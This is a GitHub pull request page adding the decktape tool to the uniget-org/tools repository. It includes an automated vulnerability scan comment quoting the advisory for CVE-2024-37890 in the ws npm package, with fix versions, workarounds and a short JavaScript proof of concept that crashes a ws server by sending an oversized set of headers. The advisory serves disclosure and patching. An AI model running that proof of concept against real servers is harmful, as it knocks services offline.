Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Added decktape #5562

Merged
merged 1 commit into from
Jun 26, 2024
Merged

Added decktape #5562

merged 1 commit into from
Jun 26, 2024

Conversation

nicholasdille
Copy link
Contributor

No description provided.

Copy link

🔍 Vulnerabilities of ghcr.io/uniget-org/tools/decktape:3.12.0

📦 Image Reference ghcr.io/uniget-org/tools/decktape:3.12.0
digestsha256:44608c84519210e3a336e8aa543f14d1334ed75a9b30963c127f0149bf412190
vulnerabilitiescritical: 0 high: 1 medium: 0 low: 0
platformlinux/amd64
size11 MB
packages128
critical: 0 high: 1 medium: 0 low: 0 ws 8.16.0 (npm)

pkg:npm/ws@8.16.0

high 7.5: CVE--2024--37890 NULL Pointer Dereference

Affected range>=8.0.0
<8.17.1
Fixed version8.17.1
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Description

Impact

A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server.

Proof of concept

const http = require('http');
const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 0 }, function () {
  const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
  const headers = {};
  let count = 0;

  for (let i = 0; i < chars.length; i++) {
    if (count === 2000) break;

    for (let j = 0; j < chars.length; j++) {
      const key = chars[i] + chars[j];
      headers[key] = 'x';

      if (++count === 2000) break;
    }
  }

  headers.Connection = 'Upgrade';
  headers.Upgrade = 'websocket';
  headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
  headers['Sec-WebSocket-Version'] = '13';

  const request = http.request({
    headers: headers,
    host: '127.0.0.1',
    port: wss.address().port
  });

  request.end();
});

Patches

The vulnerability was fixed in ws@8.17.1 (websockets/ws@e55e510) and backported to ws@7.5.10 (websockets/ws@22c2876), ws@6.2.3 (websockets/ws@eeb76d3), and ws@5.2.4 (websockets/ws@4abd8f6)

Workarounds

In vulnerable versions of ws, the issue can be mitigated in the following ways:

  1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent.
  2. Set server.maxHeadersCount to 0 so that no limit is applied.

Credits

The vulnerability was reported by Ryan LaPointe in websockets/ws#2230.

References

Copy link

Attempting automerge. See https://github.com/uniget-org/tools/actions/runs/9686957499.

@nicholasdille nicholasdille merged commit 9425e9b into main Jun 26, 2024
8 checks passed
@nicholasdille nicholasdille deleted the decktape branch June 26, 2024 22:17
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

1 participant